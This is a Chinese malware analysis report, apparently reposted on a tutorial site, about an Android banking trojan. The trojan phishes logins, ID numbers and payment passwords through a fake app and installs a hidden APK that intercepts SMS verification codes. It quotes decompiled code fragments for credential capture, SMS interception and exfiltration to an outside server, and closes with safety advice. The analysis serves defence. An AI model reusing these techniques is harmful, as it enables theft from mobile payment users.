欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]手机木马"隐身大盗二代"分析

[原创]手机木马"隐身大盗二代"分析

手机木马“隐身大盗二代”
分析报告
1        背景
科技越来越发达,网络越来越盛行,随之而来的是网络购物的普遍与流行。网络购物在带给用户购物便利的同时也存在安全隐患。双十一期间发生多起扫描二维码,造成支付账号资金损失的事件,经调查是扫描的二维码被植入了“隐身大盗”手机木马,从而导致手机被黑客控制,窃取了手机绑定的网上支付账户资金。
如果用户使用网上支付却无法收到短信验证码,一定要检查手机是否感染了“隐身大盗”木马,该木马专门屏蔽并窃取受害者验证码短信,从而盗取网上支付账户资金。近期又发现“隐身大盗”出现升级变种,以验证账户为由骗受害者输入身份证号、支付密码等信息,从而完全控制受害者的支付账户。下面就来分析一下“隐身大盗”木马的原理。
2        分析结论
“隐身大盗二代”采取了连环攻击手段,在用户安装完伪装成流行应用的“大包”之后,诱导用户再安装一个伪装成账户安全验证的“小包”,大包专门窃取账号密码、身份证号等,“小包”则暗中监控、识别受害者短信并联网上传。
2.1        伪装为常用应用的“大包”
(1)        通过二维码传播:传输方式更隐蔽,将木马应用的下载链接生成为二维码,通过扫描二维码即可下载。
(2)        伪装为常用应用诱导输入账号和密码:界面伪装成常用应用,启动后显示登录界面,诱导用户输入用户名和密码。
(3)        窃取手机号码并联同账号密码联网上传:应用启动后读取用户的手机号码,联同用户输入的账号和密码一起发送到指定的服务端。
(4)        诱导安装隐藏的“小包”:将”小包”的格式名去掉,放在木马中,当需要安装”小包”时再从中恢复,诱导用户进行安装。
(5)        诱骗输入身份证和支付密码并上传:诱骗用户输入身份证号和支付密码,将输入的信息联网上传到指定服务端。
2.2        在后台静默运行的“小包”
(1)        开机自启动静默执行:小包安装后,隐藏图标,在后台静默执行,一般用户无法察觉。
(2)        监控并拦截短信:拦截短信,并将拦截的短信上传至服务器。
3        恶意程序工作原理
3.1        通过二维码传播“大包”
1、不法分子将二维码发给用户,用户扫描二维码,得到一个下载链接,不法分子诱骗用户下载并安装。
       
图1.木马二维码图
2、另一种传播途径是不正规的安卓市场,将植入木马的常用应用在安卓市场上架,用户自行下载安装。
3.2        诱骗用户输入账号和密码
伪装成常用应用,诱导用户输入登录的账户和密码,用户输入后点击“提交”,将用户输入的账号和密码发送到指定的服务器上。
图2.伪装为淘宝二手诱导用户输入淘宝账号和密码
String str1 = this.val$etName.getText().toString();
if (str1.equals(""))
        Toast.makeText(this.this$0, "请输入用户名", 0).show();
        while (true)
            {获取用户输入的账号
和密码
        return;
              String str2 = this.val$etPass.getText().toString();
        if (str2.equals(""))
              {
        Toast.makeText(this.this$0, "请输入密码", 0).show();
        continue;
              }
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端
3.3        窃取手机号码
通过系统函数读取用户的手机号码,如果能获取到,将手机号码发送到指定的服务器上。
图3.读取手机号码并连同用户输入的账号和密码上传至服务器
TelephonyManagerlocalTelephonyManager =(TelephonyManager)this.this$0.getSystemService("phone");
        MainActivity localMainActivity1 = this.this$0;读取手机号码
              String str3 = localTelephonyManager.getLine1Number();
              localMainActivity1.phoneNum = str3;读取IMEI
        if (this.this$0.phoneNum.equals(""))
              {
        MainActivity localMainActivity2 = this.this$0;
                String str4 = localTelephonyManager.getDeviceId();
                localMainActivity2.phoneNum = str4;
              }
              MainActivity.1.1 local1 = new MainActivity.1.1(this, str1, str2);
        new Thread(local1).start();
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端
3.4        诱导安装小包
后台联网下载小包程序,下载完成后,提示用户“为了资金安全,请安装支付安全软件后再进行操作”,用户点击“确定”即完成了“小包”的安装。
  
图4.诱导用户安装”小包”图5.小包文件
if (!MainActivity.checkApkExist(this.this$0, "google.tao"))
        {检查”小包”是否安装
        MainActivity localMainActivity3 = this.this$0;
AlertDialog.Builder localBuilder1 = new
AlertDialog.Builder(localMainActivity3);
        AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(0);
        AlertDialog.Builder localBuilder3 = localBuilder1.setMessage("为了您的账号安全,请安装安全中心后再进行操作。谢谢。\n\n点击确定,立即安装");欺诈用户安装
                MainActivity.1.2 local2 = new MainActivity.1.2(this);
AlertDialog.Builder localBuilder4 = localBuilder1.setNegativeButton("确定", local2);用户点击确认后跳转至安装
        AlertDialog.Builder localBuilder5 = localBuilder1.setPositiveButton("取消", null);
        AlertDialog localAlertDialog1 = localBuilder1.create();
        AlertDialog localAlertDialog2 = localBuilder1.show();
        continue;
              }调用安装函数
……
        MainActivity.Install(MainActivity.1.access$0(this.this$1), "");
publicstaticvoid Install(Context paramContext, String paramString)
          {
……将隐藏在木马中的恶意
File localFile = new File(str3, "tz.apk");“小包”还原为apk,增强了毒软件的隐蔽性
try
    {
InputStreamlocalInputStream = paramContext.getAssets().open("tz");
if (!localFile.exists())
      {
booleanbool = localFile.createNewFile();
localFileOutputStream = newFileOutputStream(localFile);
arrayOfByte = newbyte[1024];
if (localInputStream.read(arrayOfByte) <= 0)
        {
localFileOutputStream.close();
localInputStream.close();
        }
      }
……
        String str5 = "chmod " + str4 + " " + str3 + "/" + "tz.apk";修改文件权限
    Process localProcess = Runtime.getRuntime().exec(str5);
while (true)
    {
      Intent localIntent2 = localIntent1.setAction("android.intent.action.VIEW");
      Uri localUri = Uri.fromFile(localFile);
      Intent localIntent3 = localIntent1.setDataAndType(localUri, "application/vnd.android.package-archive");
      Intent localIntent4 = localIntent1.setFlags(268435456);
paramContext.startActivity(localIntent1);安装并于后台运行”小包”
3.5        诱骗输入身份证和支付密码并上传
用户完成小包的安装后,继续诱骗用户输入身份证号和支付的密码,用户输入后,点击“提交”,将用户的身份证和支付密码发送到指定的服务器。
图6.诱导用户输入身份证和支付密码并上传
        String str1 = this.val$etcode.getText().toString();
if (str1.equals(""))获取用户输入的身份证号码
Toast.makeText(this.this$0, "请输入您的身份证号", 0).show();
while (true)
    {
return;
      String str2 = this.val$etCom.getText().toString();
if (str2.equals(""))获取用户输入的支付密码
      {
Toast.makeText(this.this$0, "请输入支付密码", 0).show();
continue;
      }
this.this$0.pd.show();
……
      LocationVerify.1.1 local1 = new LocationVerify.1.1(this, str1, str2);
new Thread(local1).start();
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端
3.6        监控并拦截验证码短信
(1)        小包启动后,在后台静默运行,隐藏图标,用户无法感知。
(2)        监控短信,会拦截所有手机接收的短信
(3)        将屏蔽的短信上传到指定的服务器端,并将手机上的信息删除。
        if (str1.equals("android.provider.Telephony.SMS_RECEIVED"))
            {
        arrayOfSmsMessage = getMessagesFromIntent(paramIntent);监听短信接收
              localStringBuilder1 = newStringBuilder();
        i = arrayOfSmsMessage.length;
              j = 0;
            }
        while (true)
            {
        if (j >= i)启动上传线程准备发送拦截的短信至服务器
              {
                BootReceiver.1 local1 = new BootReceiver.1(this, localStringBuilder1);
        new Thread(local1).start();
        abortBroadcast();
        return;拦截短信
              }读取短信内容
SmsMessagelocalSmsMessage = arrayOfSmsMessage[j];
String str4 = localSmsMessage.getOriginatingAddress();
this.originAddress = str4;
String str5 = localSmsMessage.getDisplayMessageBody();
StringBuilderlocalStringBuilder2 = localStringBuilder1.append(str5);
j += 1;将拦截的短信发送至服务器
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php", localArrayList);
至此,用户的手机号、短信和身份证号全都被木马黑客掌握,手机绑定的网上支付账户也将完全沦陷,黑客可以完全操控用户的手机支付账号,还可能进一步盗刷支付账号绑定的银行账号。该木马病毒将给手机支付的用户带来巨大的安全隐患。
4        建议
保障手机安全支付的建议:
1.        给支付账户设置单独的、高安全级别的密码、给手机支付设置手势密码
2.        二维码扫描后,如果是下载链接,谨慎下载
3.        支付应实名认证
4.        谨慎保管个人的身份证、银行卡、手机验证码等隐私信息
5.        不点击不明链接,不安装不明文件
6.        手机上安装安全管理软件
7.        丢失手机后应打电话给运营商和支付服务商挂失

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功